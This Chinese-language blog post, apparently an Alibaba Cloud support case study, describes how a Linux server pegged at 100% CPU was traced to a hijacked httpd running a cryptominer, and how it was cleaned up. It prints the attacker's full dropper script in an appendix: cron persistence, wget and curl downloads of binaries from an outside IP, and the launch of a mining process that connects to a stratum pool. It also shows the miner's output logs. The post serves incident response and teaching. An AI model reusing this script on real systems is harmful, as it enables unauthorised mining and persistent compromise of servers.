Linux系统cpu 100%修复案例

Linux系统cpu 100%修复案例

?阿里云技术支持团队:完颜镇江

 

案例背景:

Linux主机连续三天CPU%

 

处理思路:

1、  登录服务器查看/var/log/messages+/var/log/messages.1+/var/log/messages.3里恰好没那三天的日志

 

2、  dmesg里也无有用的信息

?

3、  至此怀疑是被攻击了,自然而然的去看对应时间点的带宽占用情况,查看之后发现带宽一切正常,继续排查

 

4、  怀疑是某个程序的异常,首先的从web进程开始查,通过httpd的erorr_log发现了异常的现象,httpd程序被修改过,执行的脚本就是附录的shell脚本

2014-09-0319:19:50 (124 KB/s) - “plm” saved [26587/26587]

 

FINISHED--2014-09-03 19:19:50--

Downloaded:1 files, 26K in 0.2s (124 KB/s)

+ perlplm

+ rm -rfplm

+ chmod+x apache

+ chmod+x apache-ssl

++ ps x

++ grep-v grep

++ awk‘{print $1}‘

++ grep stratum

+ kill -9

kill:usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l[sigspec]

+ killall-9 kav m32 m64 apache apache-ssl

kav: noprocess killed

m32: noprocess killed

m64: noprocess killed

apache:no process killed

apache-ssl:no process killed

+ PATH=.

+ apache-c httpd.conf

a.sh:./apache: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory

[root@iZ23vqwi2k5Z~]# + PATH=.

+apache-ssl -c httpd.conf

[2014-09-0319:19:50] Starting Stratum on stratum+tcp://80.240.137.183:3333/

[2014-09-0319:19:50] 2 miner threads started, using ‘scrypt‘ algorithm.

[2014-09-0319:19:50] Binding thread 0 to cpu 0

[2014-09-0319:19:50] Binding thread 1 to cpu 1

[2014-09-0319:19:51] Stratum detected new block

[2014-09-0319:20:02] Stratum detected new block

[2014-09-03 19:22:53] Stratum detected new block

 

5、  在阿里云的测试机器上,通过运行这个脚本,测试运行的过程中cpu持续100%,httpd的error_log的内容和客户机器上的基本一致,(看来是基本功没做好的黑客,屁股没擦干净)至此已经完全定位问题,怀疑是服务器web程序被修改拿来干坏事(怀疑挖矿)

 

6、  清除异常进程的的思路,按照脚本内容做大致的推测

 

(1)、首先想到的是删除异常目录文件

# rm -rf /dev/shm/*(删除)

 

(2)、ps到具体的进程kill掉

#Ps aux|grep apche

#root      1615  199 0.1 314992  4200 pts/0    Sl  19:19  37:38 apache-ssl -chttpd.conf

#pkill -9 apache

#ps aux|grep apache|awk ‘{print $2}‘|xargs kill -9(删除恶意进程)

 

(3)、以上操作执行之后发现异常目录文件再次生成,apache-ssl进程再次启动,查看脚本里有对cron的操作,把cron清空,再次执行之上的动作就可以了

# crontab –l 

* * * * * /dev/shm/update >/dev/null 2>&1

 

(4)、试着重新启动httpd进程,发现失败,查看日志是配置文件的异常,查看httpd.conf出现bak的备份文件,良心黑客啊,干坏事不忘记先给客户备份文件。

# pwd

/alidata/server/httpd/conf

# cp httpd.conf.bak httpd.conf

# /etc/init.d/httpd start(此步骤httpd进程恢复)

 

7、  附录恶意用户的shell内容

#!/bin/sh

crontab-r

cd/dev/shm

rm -rf a*c* update*

pwd >mech.dir

dir=$(catmech.dir)

echo"* * * * * $dir/update >/dev/null 2>&1" > cron.d

crontabcron.d

crontab-l | grep update

wget 173.255.212.191/update>> /dev/null &&

curl -Ohttp://173.255.212.191/update >> /dev/null &&

chmod u+xupdate

 

#chattr-ia bash

#chattr-ia *

curl -Ohttp://173.255.212.191/apache

curl -Ohttp://173.255.212.191/apache-ssl

crul -Ohttp://173.255.212.191/httpd.conf

wget173.255.212.191/httpd.conf

wgethttp://173.255.212.191/apache

wgethttp://173.255.212.191/apache-ssl

wget wgethttp://173.255.212.191/plm

perl plm

rm -rfplm*

chmod +xapache

chmod +xapache-ssl

#kill -9`ps x|grep miner|grep -v grep|awk ‘{print $1}‘`

kill -9`ps x|grep stratum|grep -v grep|awk ‘{print $1}‘`

killall-9 kav m32 m64 apache apache-ssl

PATH="."apache -c httpd.conf &

PATH="."apache-ssl -c httpd.conf &

#chattr+ia bash

#chattr +ia sh

 

处理的思路是这样的,比较彻底的是备份数据重置系统(推荐的做法)

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。